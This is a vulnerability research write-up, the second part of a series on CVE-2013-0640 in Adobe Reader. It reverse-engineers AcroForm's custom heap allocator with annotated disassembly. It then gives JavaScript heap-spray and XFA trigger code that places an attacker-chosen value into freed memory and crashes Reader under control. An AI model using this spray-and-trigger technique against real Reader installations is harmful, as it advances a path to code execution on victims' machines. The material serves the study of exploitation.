The purpose of this document is to present the second part of a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild.
Warning: All function names in this article are purely fictional and were chosen based on what was understood during the reverse engineering. Even if it could resemble true names, it is most likely a coincidence. Obviously no pieces of code were harmed during the reverse engineering.
Binary Information
Name: | AcroForm_api |
Base address: | 0×20800000 |
File version: | 9.5.0.270 |
Default path: | C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api |
Un-initialized memory vulnerability
As seen in the previous paper, the bug is due to un-initialized memory. In order to exploit this kind of vulnerability, one needs to control the content of the memory at the address of the future allocation. Hopefully the heap is deterministic. In order to understand this, we need to dive deep into AcroForm to see how blocks of memory are allocated.
AcroForm custom memory allocator
The buggy block that contains un-initialized data is allocated and used in the sub_209DE150() function. It allocates a block of 0x3c and initializes it as a node object.
.text:209DE150 sub_209DE150 .text:209DE150 .text:209DE150 var_34 = dword ptr -34h .text:209DE150 var_30 = dword ptr -30h .text:209DE150 var_2C = dword ptr -2Ch .text:209DE150 var_28 = dword ptr -28h .text:209DE150 var_24 = dword ptr -24h .text:209DE150 var_20 = dword ptr -20h .text:209DE150 var_1C = dword ptr -1Ch .text:209DE150 var_18 = dword ptr -18h ... .text:209DE2F4 call sub_20988A83 .text:209DE2F9 lea ecx, [ebp+arg_4] .text:209DE2FC mov byte ptr [ebp+var_4], 6 .text:209DE300 call sub_208A7FA1 .text:209DE305 push 3Ch .text:209DE307 call CustomMalloc .text:209DE30C pop ecx .text:209DE30D mov ecx, eax .text:209DE30F mov [ebp+arg_4], ecx .text:209DE312 cmp ecx, edi .text:209DE314 mov byte ptr [ebp+var_4], 8 .text:209DE318 jz short loc_209DE327 .text:209DE31A push edi .text:209DE31B lea eax, [ebp+var_1C] .text:209DE31E push eax .text:209DE31F push edi .text:209DE320 call InitializeBrokenNode .text:209DE325 mov edi, eax
We can observe from the disassembled code that the function in charge of the allocation is specific to AcroForm. The CustomMalloc() function works by getting an object that represents the custom heap and returning an address of a block of the desired size: 0x3c in our case.
.text:2080B962 CustomMalloc .text:2080B962 .text:2080B962 arg_0 = dword ptr 4 .text:2080B962 .text:2080B962 push [esp+arg_0] ; size. .text:2080B966 push 0 .text:2080B968 call GetCustomHeapObject .text:2080B96D pop ecx .text:2080B96E mov ecx, eax .text:2080B970 call DoCustomAllocation .text:2080B975 retn .text:2080B975 CustomMalloc endp
First a small check is performed in the DoCustomAllocation() function to ensure that the custom heap allocator is activated. Otherwise the malloc() function is called directly. Following this, it tries to find a memory pool that matches the desired size. This is achieved using the GetBlockFromMemoryPool() function that returns a memory pool for the size 0×48. Once done, the result of the UpdateMemoryPoolAndReturnAllocatedBlock() function is returned.
.text:2080B81E DoCustomAllocation .text:2080B81E .text:2080B81E var_14 = byte ptr -14h .text:2080B81E arg_0 = dword ptr 8 .text:2080B81E .text:2080B81E push ebp .text:2080B81F mov ebp, esp .text:2080B821 sub esp, 14h .text:2080B824 cmp isCustomAllocator, 0 ; Is custom heap activated? Else use malloc. .text:2080B82B jnz short loc_2080B851 ; Jump is taken. .text:2080B82D push [ebp+arg_0] .text:2080B830 call ds:malloc .text:2080B836 test eax, eax .text:2080B838 pop ecx .text:2080B839 jnz short locret_2080B86A .text:2080B83B lea ecx, [ebp+var_14] .text:2080B83E call sub_20805C9A .text:2080B843 push offset unk_20E0073C .text:2080B848 lea eax, [ebp+var_14] .text:2080B84B push eax .text:2080B84C call _CxxThrowException .text:2080B851 .text:2080B851 loc_2080B851: .text:2080B851 mov eax, [ebp+arg_0] ; Take the desired size. .text:2080B854 add eax, eax .text:2080B856 push eax .text:2080B857 lea eax, [ebp+arg_0] .text:2080B85A push eax .text:2080B85B call GetBlockFromMemoryPool .text:2080B860 push [ebp+arg_0] ; Size 0x48. .text:2080B863 mov ecx, eax .text:2080B865 call UpdateMemoryPoolAndReturnAllocatedBlock .text:2080B86A .text:2080B86A locret_2080B86A: .text:2080B86A leave .text:2080B86B retn 4
The GetBlockFromMemoryPool() function works by first checking if the desired size is bigger than 0×100. Otherwise it looks into a freelist for a memory pool that fits. The freelist consists of an array of quartets of dwords. Although all sizes between 0 and 0×100 have their own entries in the freelist, some may share the same memory pool. This is the case for size 0x3c and size 0×48.
.text:2080B744 GetBlockFromMemoryPool .text:2080B744 .text:2080B744 arg_0 = dword ptr 4 .text:2080B744 arg_4 = dword ptr 8 .text:2080B744 .text:2080B744 push ebx .text:2080B745 push esi .text:2080B746 mov ebx, ecx ; ECX points to the custom heap object. .text:2080B748 mov ecx, [esp+8+arg_0] .text:2080B74C mov esi, [ecx] ; Desired size. .text:2080B74E push edi .text:2080B74F mov edi, 100h .text:2080B754 cmp esi, edi .text:2080B756 jnb short bigger_than_100_or_freelist_empty .text:2080B758 mov eax, [ebx+esi*4+18h] ; Look at the freelist for blocks of size 0x3c. .text:2080B75C test eax, eax .text:2080B75E jz short bigger_than_100_or_freelist_empty .text:2080B760 mov edx, [eax+4] ; Get the real size of the block. .text:2080B763 mov edx, [edx] .text:2080B765 mov edx, [edx] ; Here it is 0x48. .text:2080B767 mov [ecx], edx .text:2080B769 jmp short loc_2080B77F .text:2080B76B .text:2080B76B bigger_than_100_or_freelist_empty: .text:2080B76B push [esp+0Ch+arg_4] .text:2080B76F push ecx .text:2080B770 mov ecx, ebx .text:2080B772 call sub_2080B651 .text:2080B777 cmp esi, edi .text:2080B779 jnb short loc_2080B77F .text:2080B77B mov [ebx+esi*4+18h], eax ; Update the freelist. .text:2080B77F .text:2080B77F loc_2080B77F: .text:2080B77F mov ecx, eax .text:2080B781 call GetTheBlockOrAllocateANewPool .text:2080B786 pop edi .text:2080B787 pop esi .text:2080B788 pop ebx .text:2080B789 retn 8 .text:2080B789 GetBlockFromMemoryPool endp
The memory pool sharing for size 0x3c and size 0×48 can be observed in the memory:
Quartet for freelist 0x3c. 02A7AAE0 02405648 HV@ --> Pool address. 02A7AAE4 00000000 .... 02A7AAE8 00000000 .... 02A7AAEC 00000000 .... Quartet for freelist 0x48. 02A7AB10 02405648 HV@ --> Pool address. 02A7AB14 00000000 .... 02A7AB18 00000000 .... 02A7AB1C 00000000 ....
Once the correct memory pool is retrieved, the GetTheBlockOrAllocateANewPool() function is called. This function browses the memory pool for a free block. If the pool is not empty it takes the first available block and returns it.
.text:208D3D56 GetTheBlockOrAllocateANewPool .text:208D3D56 .text:208D3D56 var_10 = dword ptr -10h .text:208D3D56 var_4 = dword ptr -4 .text:208D3D56 .text:208D3D56 push 4 .text:208D3D58 mov eax, offset sub_20D34DDF .text:208D3D5D call __EH_prolog3 .text:208D3D62 mov edi, ecx .text:208D3D64 mov edx, [edi] .text:208D3D66 xor esi, esi .text:208D3D68 xor ecx, ecx .text:208D3D6A test edx, edx .text:208D3D6C jbe short loc_208D3D81 .text:208D3D6E mov eax, [edi+4] ... .text:208D3D71 loc_208D3D71: .text:208D3D71 mov esi, [eax] .text:208D3D73 cmp dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty. .text:208D3D77 jnz short loc_208D3DAB ... .text:208D3DAB loc_208D3DAB: .text:208D3DAB test ecx, ecx .text:208D3DAD jbe short loc_208D3DDC ... .text:208D3DDC loc_208D3DDC: .text:208D3DDC mov eax, esi .text:208D3DDE call __EH_epilog3 .text:208D3DE3 retn
Back to the DoCustomAllocation() function, the block is detached from the memory pool and the memory pool’s header is updated using the UpdateMemoryPoolAndReturnAllocatedBlock() function.
.text:208D3B6E UpdateMemoryPoolAndReturnAllocatedBlock .text:208D3B6E .text:208D3B6E mov eax, [ecx+20h] .text:208D3B71 mov edx, [eax] ; Next block. .text:208D3B73 mov [ecx+20h], edx ; Attach the next block in the list. .text:208D3B76 mov [eax], ecx ; Mark the current block with a pointer to the info header. .text:208D3B78 inc dword ptr [ecx+1Ch] ; Increment reference counter to the block. .text:208D3B7B add eax, 4 ; Return the actual address of the newly allocated block. .text:208D3B7E retn 4
The address of the newly allocated block is returned and eventually the CustomMalloc() function returns its address. It is ready to be used.
This completes the allocation of a new block when the memory pool contains free blocks. Otherwise a new one needs to be allocated. This can be achieved using the GetTheBlockOrAllocateANewPool() function. The pointer at ESI+0×20 is NULL and ultimately the DoPoolAllocation() function is called.
.text:208D3D56 GetTheBlockOrAllocateANewPool .text:208D3D56 .text:208D3D56 var_10 = dword ptr -10h .text:208D3D56 var_4 = dword ptr -4 .text:208D3D56 .text:208D3D56 push 4 .text:208D3D58 mov eax, offset sub_20D34DDF .text:208D3D5D call __EH_prolog3 ... .text:208D3D71 loc_208D3D71: .text:208D3D71 mov esi, [eax] .text:208D3D73 cmp dword ptr [esi+20h], 0 ; If NULL, then the memory pool is empty. .text:208D3D77 jnz short loc_208D3DAB .text:208D3D79 inc ecx .text:208D3D7A add eax, 4 .text:208D3D7D cmp ecx, edx .text:208D3D7F jb short loc_208D3D71 .text:208D3D81 loc_208D3D81: .text:208D3D81 push 28h .text:208D3D83 call ??2@YAPAXI@Z ; operator new(uint). .text:208D3D88 pop ecx .text:208D3D89 mov [ebp+var_10], eax .text:208D3D8C and [ebp+var_4], 0 .text:208D3D90 test eax, eax .text:208D3D92 jz short loc_208D3DB7 .text:208D3D94 mov eax, [esi+4] .text:208D3D97 mov ecx, [esi] .text:208D3D99 mov esi, [esi+24h] .text:208D3D9C push eax .text:208D3D9D push ecx .text:208D3D9E mov ecx, [ebp+var_10] .text:208D3DA1 push esi .text:208D3DA2 call DoPoolAllocation .text:208D3DA7 mov esi, eax .text:208D3DA9 jmp short loc_208D3DB9
The DoPoolAllocation() function calls the AllocatePool() function.
.text:208D3C90 DoPoolAllocation .text:208D3C90 .text:208D3C90 var_10 = dword ptr -10h .text:208D3C90 var_4 = dword ptr -4 .text:208D3C90 arg_0 = dword ptr 8 .text:208D3C90 arg_4 = dword ptr 0Ch .text:208D3C90 arg_8 = dword ptr 10h .text:208D3C90 .text:208D3C90 push 4 .text:208D3C92 mov eax, offset sub_20CE1F10 .text:208D3C97 call __EH_prolog3 .text:208D3C9C mov esi, ecx .text:208D3C9E mov [ebp+var_10], esi .text:208D3CA1 mov eax, [ebp+arg_4] .text:208D3CA4 mov [esi], eax .text:208D3CA6 mov eax, [ebp+arg_8] .text:208D3CA9 lea ecx, [esi+8] .text:208D3CAC mov [esi+4], eax .text:208D3CAF call sub_20A0A893 .text:208D3CB4 xor eax, eax .text:208D3CB6 mov [ebp+var_4], eax .text:208D3CB9 mov [esi+1Ch], eax .text:208D3CBC mov [esi+20h], eax .text:208D3CBF mov eax, [ebp+arg_0] .text:208D3CC2 mov ecx, esi .text:208D3CC4 mov [esi+24h], eax .text:208D3CC7 mov dword ptr [esi+18h], 10h .text:208D3CCE call AllocatePool .text:208D3CD3 mov eax, esi .text:208D3CD5 call __EH_epilog3 .text:208D3CDA retn 0Ch
The AllocatePool() function performs the actual task. A new memory pool is allocated using the standard malloc() function from the MSVCR80 module. Its size is computed the following way:
- Rounds 0×48 to 0x4c and allocates for 0x2b7 items: 0x4c * 0x2b7 = 0xce54 bytes
.text:208D3BF4 AllocatePool .text:208D3BF4 .text:208D3BF4 var_18 = byte ptr -18h .text:208D3BF4 var_4 = dword ptr -4 .text:208D3BF4 .text:208D3BF4 push ebp .text:208D3BF5 mov ebp, esp .text:208D3BF7 sub esp, 18h .text:208D3BFA push esi .text:208D3BFB mov esi, ecx .text:208D3BFD mov eax, [esi] ; Desired block size for the memory pool: 0x48. .text:208D3BFF mov ecx, [esi+4] ; 0x2B7. .text:208D3C02 add eax, 3 .text:208D3C05 shr eax, 2 .text:208D3C08 lea eax, ds:4[eax*4] ; 0x4C. .text:208D3C0F imul eax, ecx ; 0xCE54. .text:208D3C12 push edi .text:208D3C13 push eax .text:208D3C14 call ds:malloc .text:208D3C1A mov edi, eax .text:208D3C1C test edi, edi .text:208D3C1E pop ecx
TMTOWTDI
As always, when it comes to exploit a vulnerability, there is more than one way to do it. This one is no exception:
- Using the custom allocator
- Using the complete pool coming from malloc()
In both ways, the idea is to allocate a fair amount of blocks of the targeted size and fill them with controlled data, then to free some of them and
trigger the final allocation. Because the memory in un-initialized, its content is going to be the content of the previously allocated data at this location, our data.
The first method would be to use the custom allocator. This involves searching for all calls to the CustomMalloc() function and find one that can both allocate data between 0x3c to 0×48 bytes large and which value can be set at offset 0x3c. This is quite boring and time-consuming. On the other hand, it is a good opportunity to find more bugs.
The second method is to use directly the malloc() function and spray the memory with blocks of 0xce54 bytes containing the value we want to set at 0x3c, then to free half of them. Subsequently, we need to allocate a few nodes to force the custom allocator to create a new memory pool for size 0×48. Luckily it will use a spot we just freed.
Initializing the un-initialized
The JavaScript engine (the EScript_api module) uses malloc() to allocate strings. It can be used to allocate 3000 strings of 0xce54 bytes and then to free half of them, leaving holes of targeted size. A short spray of nodes is needed to force the allocator to create a new memory pool that will just fit the newly created hole.
function UninitializedMemorySpray() { var size = 0xce54; var spray = []; var block = BuildBlock(dword(0x42424242), size); for (var i = 0; i < 3000; i++) { spray.push(block.substring(0, block.length-2) + dword(i)); } /* Free half of the blocks. */ for (var i = 0 ; i < spray.length ; i++) { if ((i % 2) == 0) { spray[i] = dword(i); delete spray[i]; } } return spray; } function Trigger() { var spray = UninitializedMemorySpray(); /* Create new nodes to force the creation of a new pool. */ for (var i=0 ; i < 500 ; i++) { xfa.template.createNode("contentArea", "A"); } /* Trigger the bug. */ xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList; }
Back to the sub_209DE150() function, we have seen that it allocates 0x3c bytes using the custom allocator and then initializes the memory as a new node.
.text:209D8D71 InitializeBrokenNode .text:209D8D71 .text:209D8D71 arg_0 = dword ptr 4 .text:209D8D71 arg_4 = dword ptr 8 .text:209D8D71 arg_8 = dword ptr 0Ch .text:209D8D71 .text:209D8D71 push esi .text:209D8D72 push [esp+4+arg_0] .text:209D8D76 mov esi, ecx .text:209D8D78 call FirstTouchAllocationHere .text:209D8D7D mov ecx, [esp+4+arg_4] .text:209D8D81 mov dword ptr [esi], offset broken_object .text:209D8D87 mov eax, [ecx] .text:209D8D89 xor edx, edx .text:209D8D8B cmp eax, edx .text:209D8D8D mov [esi+24h], eax .text:209D8D90 jz short loc_209D8D95 .text:209D8D92 inc dword ptr [eax+4] .text:209D8D95 .text:209D8D95 loc_209D8D95: .text:209D8D95 mov eax, [esp+4+arg_8] .text:209D8D99 mov [esi+2Ch], eax .text:209D8D9C mov [esi+30h], edx .text:209D8D9F mov [esi+34h], edx .text:209D8DA2 mov [esi+38h], edx .text:209D8DA5 mov eax, off_20E93D74 ; Pointer to ascii "node". .text:209D8DAA and dword ptr [esi+28h], 0FFFFFFF0h .text:209D8DAE mov [esi+0Ch], eax .text:209D8DB1 mov dword ptr [esi+10h], 0C9h .text:209D8DB8 mov ecx, [ecx] .text:209D8DBA cmp ecx, edx
After the function returns, we can check the memory at the broken object and the value at offset 0x3c is indeed the expected 0×42424242.
$ ==> 20D7F824 $ø× $+4 00000000 .... $+8 00000000 .... $+C 20E93D64 d=é ; PTR to ASCII "node" $+10 000000C9 É... $+14 42424242 BBBB $+18 42424252 RBBB $+1C 00000000 .... $+20 00000000 .... $+24 0E026D50 Pm $+28 42424240 @BBB $+2C 00000000 .... $+30 00000000 .... $+34 00000000 .... $+38 00000000 .... $+3C 42424242 BBBB $+40 42424242 BBBB $+44 42424242 BBBB $+48 0E026E30 0n $+4C 42424242 BBBB
If we let Adobe Reader continue, it crashes with the controlled 0×42424242 value. Mission achieved!
(b70.2a8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012f428 ebx=0360807c ecx=42424242 edx=00000000 esi=0ea23948 edi=42424242 eip=209063b8 esp=0012f3e8 ebp=0012f418 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 209063b8 8b7740 mov esi,dword ptr [edi+40h] ds:0023:42424282=????????
Conclusion
The full reversing of the AcroForm allocation function was in fact not entirely required. Indeed the size of a memory pool could just be found by setting page heap and heap tagging using gflags. However, reversing the allocator is never a waste of time. It gives a good insight of the internals of the application and good ideas on how to abuse it in order to exploit heap overflows or produce a memory leak. It is also a good way of finding new bugs.
This concludes the second part. We have seen how to control the un-initialized data. We are ready to leverage the bug into a code execution vulnerability.
References
- Adobe’s advisory: APSA13-02
- Download target version: Adobe Acrobat 10 for Windows
- XFA Specification